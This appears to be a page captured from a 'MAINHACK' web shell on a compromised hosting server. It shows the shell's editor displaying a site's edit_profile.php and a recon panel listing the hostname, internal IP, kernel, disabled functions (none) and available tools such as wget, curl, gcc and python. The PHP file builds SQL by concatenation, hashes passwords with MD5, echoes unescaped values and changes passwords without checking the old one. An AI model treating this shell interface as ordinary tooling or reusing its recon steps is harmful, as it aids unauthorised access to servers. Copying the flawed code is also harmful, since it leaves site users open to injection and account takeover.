[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: edit_profile.php
<?php include('header.php'); ?> <!-- Banner Start --> <div class="banner"> <img src="images/pro-ba.jpg" alt="" style="width: 100%;" /> <div class="desc"> <div class="container"> </div> </div> </div> <!-- Banner End --> <script> function check1(){ var x =document.getElementById("p").value; $.ajax({ type: "POST", url:"pass_check.php", data: "p="+x, success: function (html){ $("#city_show").html(html); } }); } function validatePassword(){ if(password.value != confirm_password.value) { confirm_password.setCustomValidity("Passwords Don't Match"); return false; } else { confirm_password.setCustomValidity(''); } } </script> <?php $sq="select * from user where user_id='".$user_id."' order by id desc limit 1"; //echo $sq; //exit(); $r=mysqli_query($con,$sq); while($row=mysqli_fetch_array($r)){ $name=ucfirst($row['name']); $dob=date("d-m-Y",strtotime($row['dob'])); $mob1=$row['phone']; $email=$row['email']; $pass=$row['password']; } ?> <!-- top Products --> <div class="ads-grid" style="padding:30px 0;"> <!-- tittle heading --> <div class="spec aos-init aos-animate" data-aos="fade-down" style="transition:all 1500ms ease-in-out"> <h2>Edit Profile</h2> </div> <!-- //tittle heading --> <div class="container"> <div class="row"> <!-- product left --> <?php include('user_profile.php');?> <!-- //product left --> <!-- product right --> <div class="agileinfo-ads-display col-md-9 w3l-rightpro"> <div class="wrapper-profile"> <!-- first section --> <div class="profile-banner"> <h4><strong>Profile Information</strong></h4> <hr> <form class="profile_edit" action="" method="post"> <div class="col-md-2"> <label>Name:</label> </div> <div class="col-md-4"> <input type="text" name="name" value="<?php echo $name; ?>" /> </div> <div class="col-md-2"> <label>Mobile No:</label> </div> <div class="col-md-4"> <input type="text" name="mob" value="<?php echo $mob1; ?>" /> </div> <div class="col-md-2"> <label>E-mail id:</label> </div> <div class="col-md-4"> <input type="email" name="em" value="<?php echo $user; ?>" /> </div> <div class="col-md-2"> <label>Date of Birth :</label> </div> <div class="col-md-4"> <input type="text" id="datepicker6" name="dob" value="<?php echo $dob; ?>"/> </div> <input type="submit" class="green_button" value="Edit" style="background: #f5820d; color: #FFF; padding: 5px 15px; border: none;" /> </form> </div> <div class="profile-banner"> <form class="profile" action="" method="post"> <label class="col-md-2">Old Password:</label> <div class="col-md-4" style="color: #000;margin: 0 0 10px 0;"> <input type="password" value="" onblur="return check1()" id="p" /> <div id="city_show"> <p id="cc"></p> </div> <label class="col-md-2">New Password:</label> <div class="col-md-4" style="color: #000;margin: 0 0 10px 0;"> <input type="password"class="exta-pass" placeholder="Password" id="password" required> </div> </div> <div class="clearfix"></div> <label class="col-md-2">Confirm Password:</label> <div class="col-md-4" style="color: #000;margin: 0 0 10px 0;"> <input type="password"class="exta-pass" placeholder="Confirm Password" id="confirm_password" name="pass" required> </div> <div class="clearfix"></div> <input type="submit" class="green_button" value="Update" name='sub1' /> </form> <?php if(isset($_POST['sub1'])){ $pas=mysqli_real_escape_string($con,$_POST['pass']); $sq="update user set password='".md5($pas)."' where user_id='".$user_id."'"; $r=mysqli_query($con,$sq); if($r){ echo "<script>alert('Your Password has been Updated '); window.location.href='profile.php'; </script>"; } } ?> </div> <!-- //first section --> </div> </div> <!-- //product right --> </div> </div> </div> <!-- //top products --> <?php include('footer.php');?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.97 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619